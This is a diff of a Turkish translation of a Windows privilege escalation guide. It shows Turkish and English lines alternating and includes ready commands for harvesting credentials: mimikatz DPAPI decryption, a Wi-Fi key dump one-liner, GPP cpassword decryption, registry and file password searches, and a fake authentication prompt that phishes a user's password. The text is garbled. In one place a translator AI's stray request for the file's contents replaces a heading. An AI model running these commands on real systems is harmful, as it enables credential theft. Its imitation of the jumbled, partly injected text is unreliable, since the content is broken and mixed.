Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1) tarafından elde edilebilir. +Note that mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), or from [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). ### DPAPI -The **Data Protection API (DPAPI)**, verilerin simetrik şifrelenmesi için bir yöntem sağlar; ağırlıklı olarak Windows işletim sistemi içinde asimetrik özel anahtarların simetrik şifrelenmesi için kullanılır. Bu şifreleme, entropiye önemli katkıda bulunan bir kullanıcı veya sistem sırrını kullanır. +The **Data Protection API (DPAPI)** provides a method for symmetric encryption of data, predominantly used within the Windows operating system for the symmetric encryption of asymmetric private keys. This encryption leverages a user or system secret to significantly contribute to entropy. -**DPAPI enables the encryption of keys through a symmetric key that is derived from the user's login secrets**. Sistem şifrelemesi senaryolarında, sistemin domain kimlik doğrulama sırlarını kullanır. +**DPAPI enables the encryption of keys through a symmetric key that is derived from the user's login secrets**. In scenarios involving system encryption, it utilizes the system's domain authentication secrets. -Şifrelenmiş kullanıcı RSA anahtarları, DPAPI kullanılarak, %APPDATA%\Microsoft\Protect\{SID} dizininde saklanır; burada {SID} kullanıcının [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) değerini temsil eder. **The DPAPI key, co-located with the master key that safeguards the user's private keys in the same file**, tipik olarak 64 byte rastgele veriden oluşur. (Bu dizine erişimin kısıtlı olduğunu, içeriğinin CMD'de `dir` komutu ile listelenmesinin engellendiğini; ancak PowerShell ile listelenebileceğini not etmek önemlidir.) +Encrypted user RSA keys, by using DPAPI, are stored in the `%APPDATA%\Microsoft\Protect\{SID}` directory, where `{SID}` represents the user's [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier). **The DPAPI key, co-located with the master key that safeguards the user's private keys in the same file**, typically consists of 64 bytes of random data. (It's important to note that access to this directory is restricted, preventing listing its contents via the `dir` command in CMD, though it can be listed through PowerShell). ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` -Doğru argümanlar (`/pvk` veya `/rpc`) ile **mimikatz module** `dpapi::masterkey` kullanarak bunu deşifre edebilirsiniz. +Bu dosyayı deşifre etmek için uygun argümanlarla (`/pvk` veya `/rpc`) **mimikatz module** `dpapi::masterkey` kullanabilirsiniz. -**credentials files protected by the master password** genellikle şu konumlarda bulunur: +Ana parolayla korunan **credentials files** genellikle şu konumlarda bulunur: ```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -Uygun `/masterkey` ile **mimikatz module** `dpapi::cred` kullanarak decrypt edebilirsiniz.\ -`sekurlsa::dpapi` modülüyle (eğer root iseniz) **bellekten** birçok **DPAPI** **masterkeys** çıkarabilirsiniz. +Uygun `/masterkey` ile **mimikatz module** `dpapi::cred`'i kullanarak şifresini çözebilirsiniz.\ +**Birçok DPAPI** **masterkeys**'i **bellekten** `sekurlsa::dpapi` modülü ile çıkarabilirsiniz (eğer root iseniz). + {{#ref}} dpapi-extracting-passwords.md @@ -827,9 +829,9 @@ dpapi-extracting-passwords.md ### PowerShell Kimlik Bilgileri -**PowerShell kimlik bilgileri** genellikle scripting ve otomasyon görevlerinde, şifrelenmiş kimlik bilgilerini kolayca saklamak için kullanılır. Kimlik bilgileri **DPAPI** ile korunur; bu da genellikle oluşturuldukları aynı kullanıcı tarafından aynı bilgisayarda çözülebilecekleri anlamına gelir. +**PowerShell kimlik bilgileri** genellikle **scripting** ve otomasyon görevleri için şifrelenmiş kimlik bilgilerini pratik bir şekilde saklamak amacıyla kullanılır. Kimlik bilgileri **DPAPI** ile korunur; bu genellikle oluşturuldukları aynı kullanıcı tarafından aynı bilgisayarda çözülebilecekleri anlamına gelir. -Dosyada bulunan bir PowerShell kimlik bilgisini **çözmek** için şunu yapabilirsiniz: +Bir PS kimlik bilgisinin bulunduğu dosyadan **şifresini çözmek** için şunu yapabilirsiniz: ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -840,7 +842,7 @@ PS C:\htb> $credential.GetNetworkCredential().password JustAPWD! ``` -### Wi-Fi +### Wifi ```bash #List saved Wifi using netsh wlan show profile @@ -849,34 +851,34 @@ netsh wlan show profile key=clear #Oneliner to extract all wifi passwords cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on* ``` -### Kaydedilmiş RDP Bağlantıları +### Saved RDP Connections -Bunları şu konumlarda bulabilirsiniz: `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ -ve `HKCU\Software\Microsoft\Terminal Server Client\Servers\` +Bunları `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ +ve `HKCU\Software\Microsoft\Terminal Server Client\Servers\` konumlarında bulabilirsiniz. ### Son Çalıştırılan Komutlar ``` HCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` -### **Uzak Masaüstü Kimlik Bilgileri Yöneticisi** +### **Uzaktan Masaüstü Kimlik Bilgileri Yöneticisi** ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` -Uygun `/masterkey` ile **Mimikatz** `dpapi::rdg` modülünü kullanarak **herhangi .rdg dosyalarını deşifre edebilirsiniz**\ -Mimikatz `sekurlsa::dpapi` modülü ile bellekten **birçok DPAPI masterkey** çıkarabilirsiniz +Uygun `/masterkey` ile **Mimikatz** `dpapi::rdg` modülünü kullanarak **herhangi bir .rdg dosyasının şifresini çözün**\ +Mimikatz `sekurlsa::dpapi` modülü ile bellekten birçok DPAPI masterkey'i **çıkarabilirsiniz** ### Sticky Notes -Kullanıcılar genellikle Windows iş istasyonlarındaki StickyNotes uygulamasını bunun bir veritabanı dosyası olduğunu fark etmeden **save passwords** ve diğer bilgileri saklamak için kullanır. Bu dosya `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` konumunda bulunur ve her zaman aranıp incelenmeye değerdir. +Kullanıcılar genellikle Windows iş istasyonlarında StickyNotes uygulamasını şifreleri ve diğer bilgileri **kaydetmek** için kullanır; bunun bir veritabanı dosyası olduğunu fark etmezler. Bu dosya `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` konumunda bulunur ve her zaman aranıp incelenmeye değerdir. ### AppCmd.exe -**Not: AppCmd.exe'den passwords kurtarmak için Administrator olmanız ve High Integrity seviyesinde çalıştırmanız gerekir.**\ +**AppCmd.exe'den şifreleri kurtarmak için Administrator olmanız ve High Integrity level altında çalıştırmanız gerektiğini unutmayın.**\ **AppCmd.exe** `%systemroot%\system32\inetsrv\` dizininde bulunur.\ -Bu dosya mevcutsa bazı **credentials** yapılandırılmış olabilir ve kurtarılabilir. +Eğer bu dosya mevcutsa bazı **credentials** yapılandırılmış olabilir ve **kurtarılabilir**. -Bu kod [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) projesinden alınmıştır: +This code was extracted from [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): ```bash function Get-ApplicationHost { $OrigError = $ErrorActionPreference @@ -956,8 +958,8 @@ $ErrorActionPreference = $OrigError ``` ### SCClient / SCCM -`C:\Windows\CCM\SCClient.exe` dosyasının varlığını kontrol edin.\ -Yükleyiciler **SYSTEM privileges** ile çalıştırılır; birçoğu **DLL Sideloading (Bilgi kaynağı: [https://github.com/enjoiz/Privesc](https://github.com/enjoiz/Privesc))**'e karşı savunmasızdır. +`C:\Windows\CCM\SCClient.exe` dosyasının varlığını kontrol edin .\ +Yükleyiciler **run with SYSTEM privileges**, birçoğu **DLL Sideloading (Bilgi kaynağı** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } @@ -965,7 +967,7 @@ else { Write "Not Installed." } ``` ## Dosyalar ve Kayıt Defteri (Kimlik Bilgileri) -### Putty Creds +### Putty Kimlik Bilgileri ```bash reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there ``` @@ -975,19 +977,19 @@ reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` ### Kayıt defterindeki SSH keys -SSH private keys, kayıt defteri anahtarı `HKCU\Software\OpenSSH\Agent\Keys` içinde saklanabilir; bu yüzden orada ilginç bir şey olup olmadığını kontrol etmelisiniz: +SSH private keys `HKCU\Software\OpenSSH\Agent\Keys` kayıt defteri anahtarının içinde saklanabilir, bu yüzden orada ilginç bir şey olup olmadığını kontrol etmelisiniz: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -Eğer o yolun içinde herhangi bir kayıt bulursanız muhtemelen kaydedilmiş bir SSH key'idir. Şifrelenmiş olarak saklanır ancak [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) kullanılarak kolayca çözülebilir.\ +Eğer o dizin içinde herhangi bir kayıt bulursanız muhtemelen kaydedilmiş bir SSH key'dir. Şifrelenmiş olarak saklanır ancak [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) kullanılarak kolayca çözülebilir.\ Bu teknik hakkında daha fazla bilgi: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -Eğer `ssh-agent` servisi çalışmıyorsa ve sistem açılışında otomatik başlamasını istiyorsanız şunu çalıştırın: +Eğer `ssh-agent` servisi çalışmıyorsa ve açılışta otomatik başlamasını istiyorsanız şu komutu çalıştırın: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] -> Bu teknik artık geçerli değil gibi görünüyor. Bazı ssh anahtarları oluşturmaya, bunları `ssh-add` ile eklemeye ve bir makineye ssh ile bağlanmaya çalıştım. HKCU\Software\OpenSSH\Agent\Keys kayıt defteri yok ve procmon, asimetrik anahtar doğrulaması sırasında `dpapi.dll` kullanımını tespit etmedi. +> Görünüşe göre bu teknik artık geçerli değil. Bazı ssh anahtarları oluşturmaya, bunları `ssh-add` ile eklemeye ve bir makineye ssh ile giriş yapmaya çalıştım. Kayıt defteri HKCU\Software\OpenSSH\Agent\Keys mevcut değil ve procmon, asimetrik anahtar kimlik doğrulaması sırasında `dpapi.dll` kullanımını tespit etmedi. ### Gözetimsiz dosyalar ``` @@ -1004,7 +1006,9 @@ C:\unattend.txt C:\unattend.inf dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul ``` -Bu dosyaları ayrıca **metasploit** kullanarak da arayabilirsiniz: _post/windows/gather/enum_unattend_ +Bu dosyaları ayrıca **metasploit** kullanarak arayabilirsiniz: _post/windows/gather/enum_unattend_ + +Örnek içerik: ```xml @@ -1045,15 +1049,15 @@ AppData\Roaming\gcloud\access_tokens.db ``` ### McAfee SiteList.xml -Adı **SiteList.xml** olan bir dosya arayın +**SiteList.xml** adlı bir dosya arayın ### Önbelleğe Alınmış GPP Parolası -Daha önce, Group Policy Preferences (GPP) aracılığıyla bir grup makinede özel yerel yönetici hesaplarının dağıtılmasına izin veren bir özellik vardı. Ancak bu yöntemin önemli güvenlik açıkları vardı. Birincisi, SYSVOL'de XML dosyaları olarak depolanan Group Policy Objects (GPOs) herhangi bir domain kullanıcısı tarafından erişilebiliyordu. İkincisi, bu GPP'lerdeki parolalar, kamuya açık şekilde belgelenmiş varsayılan bir anahtar kullanılarak AES256 ile şifrelenmişti ve herhangi bir kimlikli kullanıcı tarafından deşifre edilebiliyordu. Bu, kullanıcıların yükseltilmiş ayrıcalıklar elde etmesine izin verebilecek ciddi bir risk oluşturuyordu. +Group Policy Preferences (GPP) aracılığıyla bir grup makineye özel yerel administrator hesapları dağıtılmasına olanak veren bir özellik eskiden mevcuttu. Ancak bu yöntemin ciddi güvenlik açıkları vardı. Birincisi, SYSVOL'de XML dosyaları olarak saklanan Group Policy Objects (GPOs) herhangi bir domain kullanıcısı tarafından erişilebilir durumdaydı. İkincisi, bu GPP'lerdeki parolalar, halka açık olarak belgelenmiş varsayılan anahtar kullanılarak AES256 ile şifrelenmişti ve herhangi bir yetkilendirilmiş kullanıcı tarafından çözülebiliyordu. Bu, kullanıcıların yükseltilmiş ayrıcalık elde etmesine izin verebilecek ciddi bir risk oluşturuyordu. -Bu riski azaltmak için, içinde "cpassword" alanı boş olmayan yerel önbelleğe alınmış GPP dosyalarını tarayan bir fonksiyon geliştirildi. Böyle bir dosya bulunduğunda fonksiyon parolayı deşifre eder ve özel bir PowerShell nesnesi döner. Bu nesne, GPP ile dosyanın konumu hakkında ayrıntılar içerir ve bu güvenlik açığının tespit edilip giderilmesine yardımcı olur. +Bu riski azaltmak için, içinde boş olmayan bir "cpassword" alanı bulunan yerel olarak önbelleğe alınmış GPP dosyalarını tarayan bir fonksiyon geliştirildi. Böyle bir dosya bulunduğunda fonksiyon parolayı çözüyor ve özel bir PowerShell nesnesi döndürüyor. Bu nesne, GPP ve dosyanın konumuna dair bilgileri içerir ve bu güvenlik açığının tespit ve giderilmesine yardımcı olur. -Bu dosyaları bulmak için `C:\ProgramData\Microsoft\Group Policy\history` veya _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (W Vista'dan önce)_ klasörlerinde arayın: +`C:\ProgramData\Microsoft\Group Policy\history` veya _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (W Vista öncesi)_ dizinlerinde şu dosyaları arayın: - Groups.xml - Services.xml @@ -1062,16 +1066,16 @@ Bu dosyaları bulmak için `C:\ProgramData\Microsoft\Group Policy\history` veya - Printers.xml - Drives.xml -**cPassword'i deşifre etmek için:** +**cPassword'i çözmek için:** ```bash #To decrypt these passwords you can decrypt it using gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw ``` -crackmapexec kullanarak passwords almak: +crackmapexec kullanarak parolaları almak: ```bash crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` -### IIS Web Yapılandırması +### IIS Web Config ```bash Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` @@ -1085,7 +1089,7 @@ C:\inetpub\wwwroot\web.config Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` -Kimlik bilgileri içeren web.config örneği: +web.config içeren credentials örneği: ```xml @@ -1115,7 +1119,7 @@ $entropy, Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes)) } ``` -### Logs +### Günlükler ```bash # IIS C:\inetpub\logs\LogFiles\* @@ -1125,7 +1129,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct ``` ### Credentials isteyin -**Kullanıcıdan kendi credentials'ını veya farklı bir kullanıcının credentials'ını girmesini isteyebilirsiniz** eğer bunları bilebileceğini düşünüyorsanız (doğrudan istemciye **credentials**'ı **sormak** gerçekten **risklidir**): +Eğer kullanıcının bilebileceğini düşünüyorsanız, her zaman **kullanıcıdan kendi credentials'ını veya başka bir kullanıcının credentials'ını girmesini isteyebilirsiniz** (müşteriden doğrudan **sormak** ve **credentials** istemek gerçekten **risklidir**): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1133,9 +1137,9 @@ $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::U #Get plaintext $cred.GetNetworkCredential() | fl ``` -### **Kimlik bilgilerini içerebilecek olası dosya adları** +### **credentials içerebilecek olası dosya adları** -Bir süre önce bazı dosyalarda **parolalar** **düz metin** veya **Base64** olarak bulunuyordu +Bir süre önce **passwords**'ı **clear-text** veya **Base64** olarak içeren bilinen dosyalar ```bash $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history vnc.ini, ultravnc.ini, *vnc* @@ -1199,7 +1203,7 @@ TypedURLs #IE %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` -Önerilen tüm dosyaları ara: +Bu dosyanın içeriğini paylaşır mısınız? Depoya doğrudan erişimim yok; çeviri yapabilmem için src/windows-hardening/windows-local-privilege-escalation/README.md içeriğini buraya yapıştırın. Kod, link, tag ve yolları olduğu gibi bırakacağım. ``` cd C:\ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" @@ -1208,13 +1212,13 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd ``` Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")} ``` -### Credentials in the RecycleBin +### Geri Dönüşüm Kutusundaki credentials -Ayrıca Bin'i kontrol ederek içinde credentials olup olmadığına bakmalısınız +İçindeki credentials için Geri Dönüşüm Kutusunu da kontrol etmelisiniz -Çeşitli programlar tarafından kaydedilmiş parolaları **kurtarmak** için şu adresi kullanabilirsiniz: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) +Birçok program tarafından kaydedilmiş **parolaları kurtarmak** için şu adresi kullanabilirsiniz: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) -### Kayıt Defteri İçinde +### Kayıt Defteri içinde **Credentials içerebilecek diğer kayıt defteri anahtarları** ```bash @@ -1227,10 +1231,10 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ### Tarayıcı Geçmişi -Parolaların saklandığı **Chrome veya Firefox** db'lerini kontrol etmelisiniz.\ +Parolaların saklandığı dbs'leri (**Chrome or Firefox**) kontrol etmelisiniz.\ Ayrıca tarayıcıların geçmişini, yer imlerini ve favorilerini kontrol edin; belki bazı **parolalar** orada saklıdır. -Tarayıcılardan parola çıkarmak için araçlar: +Tarayıcılardan parolaları çıkarmak için araçlar: - Mimikatz: `dpapi::chrome` - [**SharpWeb**](https://github.com/djhohnstein/SharpWeb) @@ -1239,26 +1243,26 @@ Tarayıcılardan parola çıkarmak için araçlar: ### **COM DLL Overwriting** -**Component Object Model (COM)**, farklı dillerde yazılmış yazılım bileşenleri arasında **intercommunication** sağlayan Windows içinde yerleşik bir teknolojidir. Her COM bileşeni **identified via a class ID (CLSID)** ile tanımlanır ve her bileşen bir veya daha fazla arayüz aracılığıyla işlevsellik sunar; bu arayüzler **identified via interface IDs (IIDs)** ile tanımlanır. +Component Object Model (COM), farklı dillerde yazılmış yazılım bileşenleri arasında iletişime izin veren Windows işletim sistemi içinde yerleşik bir teknolojidir. Her COM bileşeni bir class ID (CLSID) ile tanımlanır ve her bileşen bir veya daha fazla arayüz aracılığıyla işlevsellik sunar; bu arayüzler interface ID'leri (IIDs) ile tanımlanır. -COM sınıfları ve arayüzleri sırasıyla kayıt defterinde **HKEY\CLASSES\ROOT\CLSID** ve **HKEY\CLASSES\ROOT\Interface** altında tanımlanır. Bu kayıt, **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** birleştirilerek oluşturulur: **HKEY\CLASSES\ROOT.** +COM sınıfları ve arayüzleri sırasıyla kayıt defterinde **HKEY\CLASSES\ROOT\CLSID** ve **HKEY\CLASSES\ROOT\Interface** altında tanımlanır. Bu kayıt, **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** birleştirilerek oluşturulur = **HKEY\CLASSES\ROOT.** -Bu kayıt içindeki CLSID'lerin içinde, **default value** ile bir **DLL**'e işaret eden ve **ThreadingModel** adlı bir değere sahip **InProcServer32** alt kaydını bulabilirsiniz; ThreadingModel şu değerleri alabilir: **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) veya **Neutral** (Thread Neutral). +Bu kayıt defterinin CLSID'leri içinde, bir **varsayılan değer** ile bir **DLL**'e işaret eden ve **ThreadingModel** adlı bir değeri içeren **InProcServer32** alt anahtarını bulabilirsiniz. ThreadingModel değeri **Apartment** (Tek-İplikli), **Free** (Çok-İplikli), **Both** (Tek veya Çok) veya **Neutral** (İplik Nötr) olabilir. ![](<../../images/image (729).png>) -Temelde, çalıştırılacak herhangi bir DLL'i **overwrite any of the DLLs** edebiliyorsanız, o DLL farklı bir kullanıcı tarafından çalıştırılacaksa **escalate privileges** elde edebilirsiniz. +Temelde, yürütülecek herhangi bir DLL'i **üzerine yazabiliyorsanız**, o DLL farklı bir kullanıcı tarafından yürütülecekse **escalate privileges** elde edebilirsiniz. -Saldırganların COM Hijacking'i kalıcılık mekanizması olarak nasıl kullandığını öğrenmek için bakın: +Saldırganların COM Hijacking'i bir persistence mekanizması olarak nasıl kullandıklarını öğrenmek için bakın: {{#ref}} com-hijacking.md {{#endref}} -### **Generic Password search in files and registry** +### **Dosyalarda ve registry'de genel parola araması** -**Search for file contents** +**Dosya içeriklerinde arama yapın** ```bash cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config @@ -1270,20 +1274,20 @@ dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini ``` -**Anahtar adları ve parolalar için kayıt defterinde ara** +**Kayıt Defterinde anahtar adlarını ve parolaları ara** ```bash REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K REG QUERY HKLM /F "password" /t REG_SZ /S /d REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` -### Passwords arayan araçlar +### Parola arayan araçlar -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **msf** için bir plugin'dir; bu plugin'i hedef içinde **credentials arayan tüm metasploit POST module'lerini otomatik olarak çalıştırmak** için oluşturdum.\ -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) bu sayfada bahsedilen ve passwords içeren tüm dosyaları otomatik olarak arar.\ -[**Lazagne**](https://github.com/AlessandroZ/LaZagne) bir sistemden password çıkarmak için başka bir harika araçtır. +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **msf için bir plugindir**. Bu plugin'i, hedef sistem içinde **kimlik bilgilerini arayan tüm metasploit POST modüllerini otomatik olarak çalıştırmak** için oluşturdum.\ +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) bu sayfada bahsedilen parolaları içeren tüm dosyaları otomatik olarak arar.\ +[**Lazagne**](https://github.com/AlessandroZ/LaZagne) bir sistemden parola çıkarmak için başka harika bir araçtır. -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) aracı, verileri clear text olarak kaydeden (PuTTY, WinSCP, FileZilla, SuperPuTTY ve RDP) birkaç aracın **sessions**, **usernames** ve **passwords**'larını arar. +Araç [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher), bu verileri düz metin olarak saklayan çeşitli araçların **oturumlarını**, **kullanıcı adlarını** ve **parolalarını** arar (PuTTY, WinSCP, FileZilla, SuperPuTTY ve RDP) ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1292,30 +1296,30 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Leaked Handlers -Düşünün ki **SYSTEM olarak çalışan bir process yeni bir process açıyor** (`OpenProcess()`) ve **tam erişim** veriyor. Aynı process **ayrıca düşük ayrıcalıklı ama ana processin tüm açık handle'larını miras alan yeni bir process oluşturuyor** (`CreateProcess()`).\ -Sonra, eğer düşük ayrıcalıklı process'e **tam erişiminiz** varsa, `OpenProcess()` ile oluşturulmuş ayrıcalıklı process'e ait **açık handle'ı ele geçirebilir** ve **shellcode enjekte edebilirsiniz**.\ -[Bu açığın **nasıl tespit edilip ve suistimal edileceği** hakkında daha fazla bilgi için bu örneği okuyun.](leaked-handle-exploitation.md)\ -[Daha kapsamlı bir açıklama ve farklı izin seviyeleriyle (sadece tam erişim değil) miras kalan process ve thread'lerin açık handler'larını nasıl test edip kötüye kullanacağınızı öğrenmek için bu **diğer gönderiyi** okuyun.](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) +Imagine that **a process running as SYSTEM open a new process** (`OpenProcess()`) with **full access**. The same process **also create a new process** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**.\ +Then, if you have **full access to the low privileged process**, you can grab the **open handle to the privileged process created** with `OpenProcess()` and **inject a shellcode**.\ +[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ +[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). ## Named Pipe Client Impersonation -Ortak bellek segmentleri, **pipes** olarak adlandırılan, süreçler arası iletişim ve veri aktarımını sağlar. +Shared memory segments, referred to as **pipes**, enable process communication and data transfer. -Windows, ilgisiz süreçlerin bile veri paylaşmasına izin veren **Named Pipes** adlı bir özellik sunar; bu farklı ağlar üzerinden bile olabilir. Bu, **named pipe server** ve **named pipe client** rollerinin tanımlandığı bir client/server mimarisine benzer. +Windows provides a feature called **Named Pipes**, allowing unrelated processes to share data, even over different networks. This resembles a client/server architecture, with roles defined as **named pipe server** and **named pipe client**. -Bir **client** tarafından bir pipe üzerinden veri gönderildiğinde, pipe'ı kuran **server**, gerekli **SeImpersonate** haklarına sahipse **client'ın kimliğini üstlenebilir**. Taklit edebileceğiniz bir pipe üzerinden iletişim kuran bir **ayrıcalıklı process** tespit etmek, sizin oluşturduğunuz pipe ile etkileşime girdiklerinde o process'in kimliğini üstlenerek **daha yüksek ayrıcalıklar elde etme** imkânı sunar. Böyle bir saldırının nasıl gerçekleştirileceğine dair talimatlar için yararlı kılavuzlar [**burada**](named-pipe-client-impersonation.md) ve [**burada**](#from-high-integrity-to-system) bulunabilir. +When data is sent through a pipe by a **client**, the **server** that set up the pipe has the ability to **take on the identity** of the **client**, assuming it has the necessary **SeImpersonate** rights. Identifying a **privileged process** that communicates via a pipe you can mimic provides an opportunity to **gain higher privileges** by adopting the identity of that process once it interacts with the pipe you established. For instructions on executing such an attack, helpful guides can be found [**here**](named-pipe-client-impersonation.md) and [**here**](#from-high-integrity-to-system). -Ayrıca aşağıdaki araç, **burp gibi bir araçla named pipe iletişimini intercept etmeye** olanak tanır: [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **ve bu araç tüm pipe'ları listeleyip inceleyerek privesc'leri bulmayı sağlar:** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +Also the following tool allows to **intercept a named pipe communication with a tool like burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **and this tool allows to list and see all the pipes to find privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) -## Misc +## Diğer -### Windows'ta kod çalıştırabilecek dosya uzantıları +### Windows'ta yürütme yapabilecek dosya uzantıları -Şu sayfaya bakın **[https://filesec.io/](https://filesec.io/)** +Check out the page **[https://filesec.io/](https://filesec.io/)** -### **Parolalar için Komut Satırlarını İzleme** +### **Komut Satırlarını Parolalar İçin İzleme** -Bir kullanıcı olarak shell elde ettiğinizde, komut satırında kimlik bilgilerini **geçen** zamanlanmış görevler veya başka süreçler çalışıyor olabilir. Aşağıdaki script, 